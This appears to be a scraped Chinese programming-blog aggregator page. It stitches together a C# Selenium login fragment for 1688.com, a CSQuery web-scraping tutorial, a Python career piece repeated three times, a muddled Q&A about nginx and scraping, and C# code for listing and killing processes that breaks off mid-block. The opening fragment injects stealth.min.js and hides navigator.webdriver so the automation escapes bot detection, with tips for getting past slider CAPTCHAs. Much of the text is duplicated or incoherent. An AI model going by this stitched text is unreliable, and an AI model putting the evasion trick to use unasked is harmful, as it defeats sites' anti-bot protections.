(driver.Url.Contains("login.1688.com")) { Console.WriteLine("登录失败"); CookieHelp.DeleteCookies(); Console.WriteLine("2"); throw new Exception("重新登录"); } driver.Navigate().Refresh(); CookieHelp.WriteCookies(driver.Manage().Cookies.AllCookies); } Thread.Sleep(1000); }<br />
  注意事项
  1、登录的时候,有时候会出现滑块验证码,这时候一般是使用其他账号重试或者是在当前的机器手工登录一次,后面基本就会被信任。
  2、使用这段代码本身就是模拟真实用户的行为,最大限度的减少验证码出现的几率。
   IJavaScriptExecutor js = (IJavaScriptExecutor)driver; ////// string returnjs = (string)js.ExecuteScript("Object.defineProperties(navigator, {webdriver:{get:()=>undefined}});");<br /> string jsfile = File.ReadAllText("stealth.min.js", Encoding.UTF8); string returnjs = (string)js.ExecuteScript(jsfile);<br />

你没有看错,爬网页数据,C# 也可以像 Jquery 那样

网站优化优采云 发表了文章 • 0 个评论 • 77 次浏览 • 2022-05-06 08:09 • 来自相关话题

  你没有看错,爬网页数据,C# 也可以像 Jquery 那样
  
  一:背景1. 讲故事
  前段时间搞了一个地方性民生资讯号,资讯嘛,都是我抄你的,你抄官媒的,小市民都喜欢奇闻异事,所以就存在一个需求,如何去定向抓取奇闻异事的地方号上的新闻,其实做起来很简单,用逻辑回归即可,这篇主要讨论如何去抓取,在 C# 中大家都知道抓取通用的库是 HtmlAgilityPack,但是这个库主流的做法是采用 xpath 提取网页内容,这就让我很不爽了,毕竟不熟悉莫名的抵抗哈,像我这个年纪的码农,被 Jquery 教育了至少 5-6 年,所以必须用 类Jquery 的方式,在 python 中有 pyquery 做这件事情,那在C# 中有没有类似的方式呢?嘿嘿,万能的 github 上还真有。。。就是本篇介绍的 CSQuery。
  二:CSQuery1. 安装
  github的地址: 然后在vs中 nuget 一下即可:
  
  2. 举几个例子
  一切都准备就绪了,那怎么用呢?不着急,我以博客园举两个例子。
  1) 将首页中的 友情连接 提取到
  
  如上图,要想获取这里的友情链接几个大字,直接用 text() 肯定是不行的,默认情况它会将所有的子节点的文本也会抓到,如下图:
  
  那怎么处理呢?可以用 jquery 提供的 contents 方法,然后在获取的所有子节点中判断是否有 文本节点,最后获取文本节点的内容即可,如下代码:
  
  用js是搞定了,那用 CSQuery 代码怎么搞定呢?模仿呗,如下代码:
  <br />        static void Main(string[] args)<br />        {<br />            var jquery = CQ.CreateDocument(new WebClient().DownloadString("http://cnblogs.com"));<br /><br />            var content = jquery["#friend_link"].Contents().Filter((dom) =><br />            {<br />                return dom.NodeType == NodeType.TEXT_NODE;<br />            }).Text();<br /><br />            Console.WriteLine(content);<br />        }<br /><br />
  我不知道用 xpath 提取这样的内容麻不麻烦,不过用 jquery 方式不简单,但轻车熟路。
  2) 如何将 html 中的某些元素标颜色
  有时候为了业务需要将某些 html 标签改一下颜色,比如说将首页的 tabmenu 中博问和专区改成红色,如下图:
  
  那用 CSQuery 怎么处理呢?如果玩过 jquery,一般来说步骤如下:
  有了步骤,C#代码如下:
  <br />        static void Main(string[] args)<br />        {<br />            Config.HtmlEncoder = HtmlEncoders.None;<br /><br />            var jquery = CQ.CreateDocument(new WebClient().DownloadString("http://cnblogs.com"));<br /><br />            var html = jquery["#nav_left li"].Each(dom =><br />               {<br />                   var self = jquery[dom];<br /><br />                   var text = self.Text();<br /><br />                   if (text == "博问" || text == "专区")<br />                   {<br />                       self.Find("a").CssSet(new { color = "red" });<br />                   }<br />               }).Render();<br />        }<br />        <br />
  
  3) 其他的操作方法
  除了上面两个操作方法外,你还可以使用 after,before,replaceAll,IS 等等一百来个实用的方法,这篇肯定也无法一一介绍了,大家有兴趣可以下载下来看一看,捣鼓捣鼓。
  三:其他用途
  除了抓取html中的元素,我觉得这玩意还可以用在发送邮件时操控邮件模板,毕竟在很久以前大家都是用jquery来绘制 html,所以用 CSQuery 也是可以的,相对使用 xslt 有利有弊吧,接下来做一个例子:
  1. 生成一个html模板
  <br /><br /><br /><br /><br />    <br />    <br /><br /><br />    <br /><br /><br /><br />
  2. 使用 CSQuery 给 ul 追加 li
  可以用 Append 将内容追加到节点内。
  
  3. 部分渲染 RenderSelection
  Render方法是将整个Dom渲染成html,但有时候你只需要得到你修改的那部分内容,而不是整个html,这就涉及到了部分渲染,可以用RenderSelection方法即可,代码如下:
  <br />        static void Main(string[] args)<br />        {<br />            Config.HtmlEncoder = HtmlEncoders.None;<br /><br />            var strlist = new string[2] { "1", "2" };<br /><br />            var path = Environment.CurrentDirectory + "\\2.html";<br />            var jquery = CQ.CreateFromFile(path);<br /><br />            var current = jquery.Find("#main");<br /><br />            foreach (var str in strlist)<br />            {<br />                current.Append($"{str}");<br />            }<br /><br />            var html = current.RenderSelection();<br /><br />            Console.WriteLine(html);<br />        }<br /><br />------------- output ----------------<br /><br />12<br /><br />
  四:总结
  Jquery 这种操作模式对我个人来说还是比较舒服的,毕竟熟!不过在 html5 中也新增了 querySelector 和 querySelectorAll 支持 css3 选择器,非常强大,可 jquery 不光在选择器的灵活上,还在于对节点的灵活操作上,总的来说不是特别富交互的情况下可以怀旧一把。
  
  往期精彩回顾 查看全部

  你没有看错,爬网页数据,C# 也可以像 Jquery 那样
  
  一:背景1. 讲故事
  前段时间搞了一个地方性民生资讯号,资讯嘛,都是我抄你的,你抄官媒的,小市民都喜欢奇闻异事,所以就存在一个需求,如何去定向抓取奇闻异事的地方号上的新闻,其实做起来很简单,用逻辑回归即可,这篇主要讨论如何去抓取,在 C# 中大家都知道抓取通用的库是 HtmlAgilityPack,但是这个库主流的做法是采用 xpath 提取网页内容,这就让我很不爽了,毕竟不熟悉莫名的抵抗哈,像我这个年纪的码农,被 Jquery 教育了至少 5-6 年,所以必须用 类Jquery 的方式,在 python 中有 pyquery 做这件事情,那在C# 中有没有类似的方式呢?嘿嘿,万能的 github 上还真有。。。就是本篇介绍的 CSQuery。
  二:CSQuery1. 安装
  github的地址: 然后在vs中 nuget 一下即可:
  
  2. 举几个例子
  一切都准备就绪了,那怎么用呢?不着急,我以博客园举两个例子。
  1) 将首页中的 友情连接 提取到
  
  如上图,要想获取这里的友情链接几个大字,直接用 text() 肯定是不行的,默认情况它会将所有的子节点的文本也会抓到,如下图:
  
  那怎么处理呢?可以用 jquery 提供的 contents 方法,然后在获取的所有子节点中判断是否有 文本节点,最后获取文本节点的内容即可,如下代码:
  
  用js是搞定了,那用 CSQuery 代码怎么搞定呢?模仿呗,如下代码:
  <br />        static void Main(string[] args)<br />        {<br />            var jquery = CQ.CreateDocument(new WebClient().DownloadString("http://cnblogs.com";));<br /><br />            var content = jquery["#friend_link"].Contents().Filter((dom) =><br />            {<br />                return dom.NodeType == NodeType.TEXT_NODE;<br />            }).Text();<br /><br />            Console.WriteLine(content);<br />        }<br /><br />
  我不知道用 xpath 提取这样的内容麻不麻烦,不过用 jquery 方式不简单,但轻车熟路。
  2) 如何将 html 中的某些元素标颜色
  有时候为了业务需要将某些 html 标签改一下颜色,比如说将首页的 tabmenu 中博问和专区改成红色,如下图:
  
  那用 CSQuery 怎么处理呢?如果玩过 jquery,一般来说步骤如下:
  有了步骤,C#代码如下:
  <br />        static void Main(string[] args)<br />        {<br />            Config.HtmlEncoder = HtmlEncoders.None;<br /><br />            var jquery = CQ.CreateDocument(new WebClient().DownloadString("http://cnblogs.com";));<br /><br />            var html = jquery["#nav_left li"].Each(dom =><br />               {<br />                   var self = jquery[dom];<br /><br />                   var text = self.Text();<br /><br />                   if (text == "博问" || text == "专区")<br />                   {<br />                       self.Find("a").CssSet(new { color = "red" });<br />                   }<br />               }).Render();<br />        }<br />        <br />
  
  3) 其他的操作方法
  除了上面两个操作方法外,你还可以使用 after,before,replaceAll,IS 等等一百来个实用的方法,这篇肯定也无法一一介绍了,大家有兴趣可以下载下来看一看,捣鼓捣鼓。
  三:其他用途
  除了抓取html中的元素,我觉得这玩意还可以用在发送邮件时操控邮件模板,毕竟在很久以前大家都是用jquery来绘制 html,所以用 CSQuery 也是可以的,相对使用 xslt 有利有弊吧,接下来做一个例子:
  1. 生成一个html模板
  <br /><br /><br /><br /><br />    <br />    <br /><br /><br />    <br /><br /><br /><br />
  2. 使用 CSQuery 给 ul 追加 li
  可以用 Append 将内容追加到节点内。
  
  3. 部分渲染 RenderSelection
  Render方法是将整个Dom渲染成html,但有时候你只需要得到你修改的那部分内容,而不是整个html,这就涉及到了部分渲染,可以用RenderSelection方法即可,代码如下:
  <br />        static void Main(string[] args)<br />        {<br />            Config.HtmlEncoder = HtmlEncoders.None;<br /><br />            var strlist = new string[2] { "1", "2" };<br /><br />            var path = Environment.CurrentDirectory + "\\2.html";<br />            var jquery = CQ.CreateFromFile(path);<br /><br />            var current = jquery.Find("#main");<br /><br />            foreach (var str in strlist)<br />            {<br />                current.Append($"{str}");<br />            }<br /><br />            var html = current.RenderSelection();<br /><br />            Console.WriteLine(html);<br />        }<br /><br />------------- output ----------------<br /><br />12<br /><br />
  四:总结
  Jquery 这种操作模式对我个人来说还是比较舒服的,毕竟熟!不过在 html5 中也新增了 querySelector 和 querySelectorAll 支持 css3 选择器,非常强大,可 jquery 不光在选择器的灵活上,还在于对节点的灵活操作上,总的来说不是特别富交互的情况下可以怀旧一把。
  
  往期精彩回顾

c#抓取网页数据 学完Python后,都能干点什么?

网站优化优采云 发表了文章 • 0 个评论 • 107 次浏览 • 2022-05-03 17:42 • 来自相关话题

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。 查看全部

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。

c#抓取网页数据 学完Python后,都能干点什么?

网站优化优采云 发表了文章 • 0 个评论 • 115 次浏览 • 2022-05-03 05:44 • 来自相关话题

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。 查看全部

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。

c#抓取网页数据 学完Python后,都能干点什么?

网站优化优采云 发表了文章 • 0 个评论 • 240 次浏览 • 2022-05-02 01:11 • 来自相关话题

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。 查看全部

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。

c#抓取网页数据库语言初探基于nginx:负载均衡框架设计

网站优化优采云 发表了文章 • 0 个评论 • 88 次浏览 • 2022-04-29 17:02 • 来自相关话题

  c#抓取网页数据库语言初探基于nginx:负载均衡框架设计
  c#抓取网页数据库语言初探基于nginx:负载均衡框架设计高并发情景模拟分布式下生成html转存数据库数据透析用户名密码用户属性giveron
  是想从网页里爬取数据吗?看你的需求,比较简单的建议用java写web服务,然后在用nginx做负载均衡就可以了。
  作为一个用过webscrapy的渣渣,我想说这是个坑,真的超超超坑!重点是java目录权限不够。
  网页抓取很简单,比如你有一个网站,实时的抓取每个用户的页面,那么你只需要通过java抓取器,把这个网站分成小块进行分段抓取就可以了。如果分段分片的页面太多,你可以通过建立一个分片文件夹,分别存放你抓取到的页面,然后你写一个javashell脚本,抓取每个分片就可以了。分段是自动化的,一个用户一个分段,非常方便。
  你可以通过java做定向的抓取,这样应该算有高并发的需求,那么,就要用到springboot,mybatis,jspcontroller,
  单例模式
  解决方案1:spring。
  网页显示的方式有很多,有些需要源码和控制层,有些纯html。如果通过现成的工具就可以自动将jscss爬取下来,通过selenium或者shiro,就可以做到。如果要通过java去爬取网页,那么前后端必须分离。不然是无法成功抓取的。所以楼主的需求不够高并且手续繁琐,可以考虑自己写一个抓取工具。 查看全部

  c#抓取网页数据库语言初探基于nginx:负载均衡框架设计
  c#抓取网页数据库语言初探基于nginx:负载均衡框架设计高并发情景模拟分布式下生成html转存数据库数据透析用户名密码用户属性giveron
  是想从网页里爬取数据吗?看你的需求,比较简单的建议用java写web服务,然后在用nginx做负载均衡就可以了。
  作为一个用过webscrapy的渣渣,我想说这是个坑,真的超超超坑!重点是java目录权限不够。
  网页抓取很简单,比如你有一个网站,实时的抓取每个用户的页面,那么你只需要通过java抓取器,把这个网站分成小块进行分段抓取就可以了。如果分段分片的页面太多,你可以通过建立一个分片文件夹,分别存放你抓取到的页面,然后你写一个javashell脚本,抓取每个分片就可以了。分段是自动化的,一个用户一个分段,非常方便。
  你可以通过java做定向的抓取,这样应该算有高并发的需求,那么,就要用到springboot,mybatis,jspcontroller,
  单例模式
  解决方案1:spring。
  网页显示的方式有很多,有些需要源码和控制层,有些纯html。如果通过现成的工具就可以自动将jscss爬取下来,通过selenium或者shiro,就可以做到。如果要通过java去爬取网页,那么前后端必须分离。不然是无法成功抓取的。所以楼主的需求不够高并且手续繁琐,可以考虑自己写一个抓取工具。

c#抓取网页数据(C#如何获取当前进程或线程的ID(图))

网站优化优采云 发表了文章 • 0 个评论 • 65 次浏览 • 2022-04-20 12:28 • 来自相关话题

  c#抓取网页数据(C#如何获取当前进程或线程的ID(图))
  C#如何获取当前进程或线程的ID
  更新日期:2022年4月20日08:44:46 comsky
  本文章主要介绍c#如何获取当前进程或线程的ID,具有很好的参考价值,希望对您有所帮助。如果有错误或未充分考虑,请随时发表评论
  目录
  获取当前进程或线程的ID
  如果获得当前进程的ID,请使用:
  Process[] processes = Process.GetProcesses(); 
foreach(Process process in processes) 

if(process.ProcessName == "进程名" 

MessageBox.Show(process.Id); 

}
Process processes   =Process.GetCurrentProcess
  过程。ID获取当前进程的ID
  如果获得了当前线程的ID,请使用:
  Thread.CurrentThread.ManagedThreadId.ToString() (推荐)
  或者
  AppDomain.GetCurrentThreadId().ToString()
  C#过程阅读法
  首相希望加入使用系统诊断的团队;名称空间
  Getprocesses(),模块属性
  某些进程的属性信息:
  using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;//包含进程相关
namespace ProccessEx
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
Process[] processes = null;
private void btnGetProcessess_Click(object sender, EventArgs e)
{
processes = Process.GetProcesses();// 获取本地计算机上的进程
this.lbProcess.Items.Clear();
foreach (Process item in processes) {
this.lbProcess.Items.Add(item.ProcessName);
}
}
private void lbProcess_Click(object sender, EventArgs e)
{
if (lbProcess.Items.Count == 0) return;
else {
lbModels.Items.Clear();
}
Process currentProcess = processes[lbProcess.SelectedIndex]; // SelectedIndex 属性
try {
ProcessModuleCollection modules = currentProcess.Modules; // Mpdules 属性
foreach (ProcessModule item in modules) { // 注意是 ProcessModule 类型
lbModels.Items.Add(item.FileName);
}
// 显示当前进程的基本信息
string info = "进程唯一标识符 (Id):" + currentProcess.Id + "\r\n\r\n";
info += "关联进程的本机句柄 (Handle):" + currentProcess.Handle + "\r\n\r\n";
info += "打开句柄数 (HandleCount):" + currentProcess.HandleCount + "\r\n\r\n";
info += "关联进程的基本优先级:" + currentProcess.BasePriority + "\r\n\r\n";
info += "进程启动时间:" + currentProcess.StartTime + "\r\n\r\n";
txtProcessInfo.Text = info;
}
catch (Exception ex) {
MessageBox.Show(ex.Message);
}
}
private void btnKill_Click(object sender, EventArgs e)
{
if (lbProcess.Items.Count == 0 || lbProcess.SelectedIndex == -1) return;
Process currentProccess = processes[lbProcess.SelectedIndex];// 获取当前鼠标选择的进程
currentProccess.Kill();// 杀掉进程
currentProccess.Close();// 释放进程资源
lbProcess.Items.RemoveAt(lbProcess.SelectedIndex);
lbModels.Items.Clear();
txtProcessInfo.Clear();
}
///
/// 用360浏览器打开我的博客
///
///
///
private void btnOpenIE_Click(object sender, EventArgs e)
{
// 没注册就使用绝对路径
// 打开我的博客
Process.Start(@"C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe", "blog.huvjie.com");
}
///
/// 打开新进程,如:notepad
///
///
///
private void btnStartnew_Click(object sender, EventArgs e)
{
Process.Start(txtProcessFileName.Text.Trim());
}
}
}
  输出效果:
  
  以上是个人经历。我希望能给你推荐信。我也希望你能支持德尼奥。com 查看全部

  c#抓取网页数据(C#如何获取当前进程或线程的ID(图))
  C#如何获取当前进程或线程的ID
  更新日期:2022年4月20日08:44:46 comsky
  本文章主要介绍c#如何获取当前进程或线程的ID,具有很好的参考价值,希望对您有所帮助。如果有错误或未充分考虑,请随时发表评论
  目录
  获取当前进程或线程的ID
  如果获得当前进程的ID,请使用:
  Process[] processes = Process.GetProcesses(); 
foreach(Process process in processes) 

if(process.ProcessName == "进程名" 

MessageBox.Show(process.Id); 

}
Process processes   =Process.GetCurrentProcess
  过程。ID获取当前进程的ID
  如果获得了当前线程的ID,请使用:
  Thread.CurrentThread.ManagedThreadId.ToString() (推荐)
  或者
  AppDomain.GetCurrentThreadId().ToString()
  C#过程阅读法
  首相希望加入使用系统诊断的团队;名称空间
  Getprocesses(),模块属性
  某些进程的属性信息:
  using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;//包含进程相关
namespace ProccessEx
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
Process[] processes = null;
private void btnGetProcessess_Click(object sender, EventArgs e)
{
processes = Process.GetProcesses();// 获取本地计算机上的进程
this.lbProcess.Items.Clear();
foreach (Process item in processes) {
this.lbProcess.Items.Add(item.ProcessName);
}
}
private void lbProcess_Click(object sender, EventArgs e)
{
if (lbProcess.Items.Count == 0) return;
else {
lbModels.Items.Clear();
}
Process currentProcess = processes[lbProcess.SelectedIndex]; // SelectedIndex 属性
try {
ProcessModuleCollection modules = currentProcess.Modules; // Mpdules 属性
foreach (ProcessModule item in modules) { // 注意是 ProcessModule 类型
lbModels.Items.Add(item.FileName);
}
// 显示当前进程的基本信息
string info = "进程唯一标识符 (Id):" + currentProcess.Id + "\r\n\r\n";
info += "关联进程的本机句柄 (Handle):" + currentProcess.Handle + "\r\n\r\n";
info += "打开句柄数 (HandleCount):" + currentProcess.HandleCount + "\r\n\r\n";
info += "关联进程的基本优先级:" + currentProcess.BasePriority + "\r\n\r\n";
info += "进程启动时间:" + currentProcess.StartTime + "\r\n\r\n";
txtProcessInfo.Text = info;
}
catch (Exception ex) {
